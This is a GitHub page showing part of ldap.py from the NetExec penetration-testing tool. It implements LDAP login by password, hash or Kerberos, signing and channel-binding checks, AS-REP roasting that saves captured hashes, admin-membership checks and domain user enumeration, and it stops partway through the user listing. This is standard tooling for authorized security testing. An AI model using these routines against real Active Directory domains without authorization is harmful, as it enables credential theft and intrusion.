-
Notifications
You must be signed in to change notification settings - Fork 731
Expand file tree
/
Copy pathldap.py
More file actions
1752 lines (1542 loc) · 86.7 KB
/
Copy pathldap.py
File metadata and controls
1752 lines (1542 loc) · 86.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
import hashlib
import hmac
import json
import os
import socket
from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH
from binascii import hexlify
from datetime import datetime
from re import sub, IGNORECASE
from zipfile import ZipFile
from termcolor import colored
from dns import resolver
from dateutil.relativedelta import relativedelta as rd
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
from bloodhound.ad.domain import AD
from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter
from impacket.dcerpc.v5.samr import (
UF_ACCOUNTDISABLE,
UF_DONT_REQUIRE_PREAUTH,
UF_TRUSTED_FOR_DELEGATION,
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
UF_SERVER_TRUST_ACCOUNT,
SAM_MACHINE_ACCOUNT,
)
from impacket.krb5 import constants
from impacket.krb5.crypto import generate_kerberos_keys
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldaptypes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE
from impacket.smbconnection import SessionError
from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, process_secret_dump, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
from nxc.logger import NXCAdapter
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.protocols.ldap.kerberos import KerberosAttacks
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.paths import CONFIG_PATH
ldap_error_status = {
"1": "STATUS_NOT_SUPPORTED",
"533": "STATUS_ACCOUNT_DISABLED",
"701": "STATUS_ACCOUNT_EXPIRED",
"531": "STATUS_ACCOUNT_RESTRICTION",
"530": "STATUS_INVALID_LOGON_HOURS",
"532": "STATUS_PASSWORD_EXPIRED",
"773": "STATUS_PASSWORD_MUST_CHANGE",
"775": "USER_ACCOUNT_LOCKED",
"50": "LDAP_INSUFFICIENT_ACCESS",
"0": "LDAP Signing IS Enforced",
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
class ldap(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.os_arch = 0
self.hash = None
self.ldap_connection = None
self.lmhash = ""
self.nthash = ""
self.baseDN = ""
self.forestDN = ""
self.target = ""
self.targetDomain = ""
self.remote_ops = None
self.bootkey = None
self.signing_required = None
self.cbt_status = None
self.auth_choice = "sasl" if not args.simple_bind else "simple"
self.admin_privs = False
self.no_ntlm = False
self.sid_domain = ""
self.scope = None
self.configuration_context = ""
connection.__init__(self, args, db, host)
def proto_logger(self):
self.logger = NXCAdapter(
extra={
"protocol": "LDAP",
"host": self.host,
"port": self.port,
"hostname": self.hostname,
}
)
def create_conn_obj(self):
try:
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
if self.ldap_connection:
self.logger.debug(f"ldap_connection: {self.ldap_connection}")
except SysCallError as e:
if proto == "ldaps":
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
self.logger.fail("Even if the port is open, LDAPS may not be configured")
else:
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
return False
except ConnectionRefusedError as e:
self.logger.debug(f"{e} on host {self.host}")
return False
except OSError as e:
if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT):
self.logger.info(f"Error connecting to {self.host}: {e}")
return False
else:
self.logger.error(f"Error connecting to {self.host}: {e}")
return False
return True
def get_ldap_username(self):
extended_request = ldapasn1_impacket.ExtendedRequest()
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
response = self.ldap_connection.sendReceive(extended_request)
for message in response:
search_result = message["protocolOp"].getComponent()
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
response_value = search_result["responseValue"]
if response_value.hasValue():
value = response_value.asOctets().decode(response_value.encoding)[2:]
return value.split("\\")[1]
return ""
def check_ldap_signing(self):
self.signing_required = False
ldap_url = f"ldap://{self.target}"
try:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False)
ldap_connection.login(domain=self.domain)
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
self.logger.debug(f"LDAP signing is enforced on {self.host}")
self.signing_required = True
else:
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
def check_ldaps_cbt(self):
self.cbt_status = "Never"
ldap_url = f"ldaps://{self.target}"
try:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
ldap_connection.channel_binding_value = None
ldap_connection.login(user=" ", domain=self.domain)
except ldap_impacket.LDAPSessionError as e:
if str(e).find("data 80090346") >= 0:
self.logger.debug(f"LDAPS channel binding enforced on host {self.host}")
self.cbt_status = "Always" # CBT is Required
# Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported
elif str(e).find("data 52e") >= 0:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
new_cbv = bytearray(ldap_connection.channel_binding_value)
new_cbv[15] = (new_cbv[3] + 1) % 256
ldap_connection.channel_binding_value = bytes(new_cbv)
try:
ldap_connection.login(user=" ", domain=self.domain)
except ldap_impacket.LDAPSessionError as e:
if str(e).find("data 80090346") >= 0:
self.logger.debug(f"LDAPS channel binding is set to 'When Supported' on host {self.host}")
self.cbt_status = "When Supported" # CBT is When Supported
else:
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
except SysCallError as e:
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
self.cbt_status = "No TLS cert"
else:
raise
except OSError as e:
# Should catch TimeoutError ([Errno 110]), ConnectionRefusedError, host/network unreachable, etc.
self.logger.debug(f"Connection error while checking LDAPS channel binding on {self.host}: {e!s}")
self.cbt_status = "Unknown"
def enum_host_info(self):
# Enumerate LDAP info
target = ""
target_domain = ""
base_dn = ""
try:
resp = self.ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["dnsHostName", "defaultNamingContext", "configurationNamingContext", "rootDomainNamingContext"],
sizeLimit=0,
)
resp_parsed = parse_result_attributes(resp)[0]
self.configuration_context = resp_parsed["configurationNamingContext"]
self.forestDN = resp_parsed["rootDomainNamingContext"]
target = resp_parsed["dnsHostName"]
base_dn = resp_parsed["defaultNamingContext"]
target_domain = sub(
r",DC=",
".",
base_dn[base_dn.lower().find("dc="):],
flags=IGNORECASE,
)[3:]
except Exception as e:
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
self.target = target
self.targetDomain = target_domain
self.baseDN = base_dn
# Parse hostname and remoteName
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
self.remoteName = self.target
# Parse NTLM challenge
ntlm_challenge = None
bindRequest = ldapasn1_impacket.BindRequest()
bindRequest["version"] = 3
bindRequest["name"] = ""
negotiate = getNTLMSSPType1()
bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData()
try:
response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"]
ntlm_challenge = bytes(response["bindResponse"]["matchedDN"])
except Exception as e:
self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}")
if ntlm_challenge:
ntlm_info = parse_challenge(ntlm_challenge)
self.server_os = ntlm_info["os_version"]
else:
self.no_ntlm = True
if self.args.domain:
self.domain = self.args.domain
elif self.args.use_kcache: # Fixing domain trust, just pull the auth domain out of the ticket
self.domain = CCache.parseFile()[0]
else:
self.domain = self.targetDomain
self.check_ldap_signing()
if getattr(self.args, "port_explicitly_set", False) and self.port == 389:
self.cbt_status = "Unknown"
else:
self.check_ldaps_cbt()
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
try:
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
self.signing_required,
self.cbt_status
)
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.extra["hostname"] = self.hostname
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}")
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
if self.auth_choice == "simple":
self.logger.fail("Simple bind and Kerberos authentication are mutually exclusive.")
return False
self.username = username
self.password = password
self.domain = domain
self.kdcHost = kdcHost
self.aesKey = aesKey
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
if self.username and self.password == "" and self.args.asreproast:
hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username)
if hash_tgt:
self.logger.highlight(process_secret_dump(hash_tgt))
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
return False
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
self.check_if_admin()
if password:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
elif ntlm_hash:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
self.db.add_credential("hash", domain, self.username, self.hash)
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except SessionKeyDecryptionError:
# for PRE-AUTH account
self.logger.success(
f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}",
color="yellow",
)
# If no preauth is set, we want to be able to execute commands such as --kerberoasting
if self.args.no_preauth_targets: # noqa: SIM103
return True
else:
return False
except SessionError as e:
error, desc = e.getErrorString()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
self.logger.fail(
f"{self.domain}\\{self.username}{used_ccache} {error!s}",
color="magenta" if error in ldap_error_status else "red",
)
return False
except (KeyError, KerberosException, OSError) as e:
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {e!s}",
color="red",
)
return False
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
self.logger.error("StrongerAuthRequired Error on login: This should not happen anymore, please contact the devs and open an issue on github!")
# We need to try SSL
try:
# Connect to LDAPS
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
self.check_if_admin()
if password:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
elif ntlm_hash:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
self.db.add_credential("hash", domain, self.username, self.hash)
# Prepare success credential text
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error!s}",
color="magenta" if error in ldap_error_status else "red",
)
return False
except Exception as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}",
color="magenta" if error_code in ldap_error_status else "red",
)
return False
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error_code!s}",
color="magenta" if error_code in ldap_error_status else "red",
)
return False
def plaintext_login(self, domain, username, password):
self.username = username
self.password = password
self.domain = domain
if self.username and self.password == "" and self.args.asreproast:
hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username)
if hash_tgt:
self.logger.highlight(process_secret_dump(hash_tgt))
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
return False
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple")
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
# Prepare success credential text
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
if self.args.simple_bind:
self.logger.fail("StrongerAuthRequired error on login: SIMPLE bind cannot work with signing/sealing enforced. Falling back to LDAPS.")
else:
self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!")
# We need to try SSL
try:
# Connect to LDAPS
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
# Prepare success credential text
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def hash_login(self, domain, username, ntlm_hash):
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
self.username = username
self.domain = domain
if self.username and self.hash == "" and self.args.asreproast:
hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username)
if hash_tgt:
self.logger.highlight(process_secret_dump(hash_tgt))
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
return False
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
self.db.add_credential("hash", domain, self.username, self.hash)
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.success(out)
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!")
try:
# We need to try SSL
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
self.db.add_credential("hash", domain, self.username, self.hash)
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.success(out)
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def get_sid(self):
self.logger.highlight(f"Domain SID {self.sid_domain}")
def check_if_admin(self):
# 1. get SID of the domaine
search_filter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})"
attributes = ["objectSid"]
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
resp_parsed = parse_result_attributes(resp)
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
for item in resp_parsed:
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
# 2. get all group cn name
search_filter = (f"(|(objectSid={self.sid_domain}-512)"
f"(objectSid={self.sid_domain}-519)"
f"(objectSid={self.sid_domain}-544)"
"(objectSid=S-1-5-32-544)"
"(objectSid=S-1-5-32-549)"
"(objectSid=S-1-5-32-551))")
attributes = ["distinguishedName"]
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
resp_parsed = parse_result_attributes(resp)
answers = [f"(memberOf:1.2.840.113556.1.4.1941:={item['distinguishedName']})" for item in resp_parsed]
if len(answers) == 0:
self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.")
return
# 3. Build a filter to query if the primaryGroupID is one of these groups
group_ids = ["512", "519", "544", "549", "551"]
primaryGroupID_filters = [f"(primaryGroupID={group_id})" for group_id in group_ids]
answers.extend(primaryGroupID_filters)
# 4. Check if the user is member of one of these groups OR has one of these primaryGroupID
search_filter = f"(&(objectCategory=user)(sAMAccountName={self.username})(|{''.join(answers)}))"
resp = self.search(search_filter, attributes=[], baseDN=self.baseDN)
resp_parsed = parse_result_attributes(resp)
for item in resp_parsed:
if item:
self.admin_privs = True
return
# If nothing matched we are not admin
self.admin_privs = False
def getUnixTime(self, t):
t -= 116444736000000000
t /= 10000000
return t
def search(self, searchFilter, attributes, sizeLimit=0, baseDN=None, searchControls=None) -> list:
if baseDN is None and self.args.base_dn is not None:
baseDN = self.args.base_dn
elif baseDN is None:
baseDN = self.baseDN
try:
if self.ldap_connection:
self.logger.debug(f"Search Filter={searchFilter}")
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
return self.ldap_connection.search(
scope=self.scope,
searchBase=baseDN,
searchFilter=searchFilter,
attributes=attributes,
sizeLimit=sizeLimit,
searchControls=searchControls if searchControls else paged_search_control,
)
except ldap_impacket.LDAPSearchError as e:
if "sizeLimitExceeded" in str(e):
# We should never reach this code as we use paged search now
self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received")
e.getAnswers()
# if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail
elif "operationsError" in str(e) and self.scope is None and self.username == "" and self.password == "":
self.scope = ldapasn1_impacket.Scope("baseObject")
return self.search(searchFilter, attributes, sizeLimit, baseDN)
else:
self.logger.fail(e)
return []
return []
def users(self):
"""
Retrieves user information from the LDAP server.
Args:
----
input_attributes (list): Optional. List of attributes to retrieve for each user.
Returns:
-------
None
"""
if self.args.users:
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
else:
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)"
# Default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
users = []
if resp:
resp_parsed = parse_result_attributes(resp)
# We print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(resp_parsed):d} domain users: {self.domain}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
for user in resp_parsed:
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set:
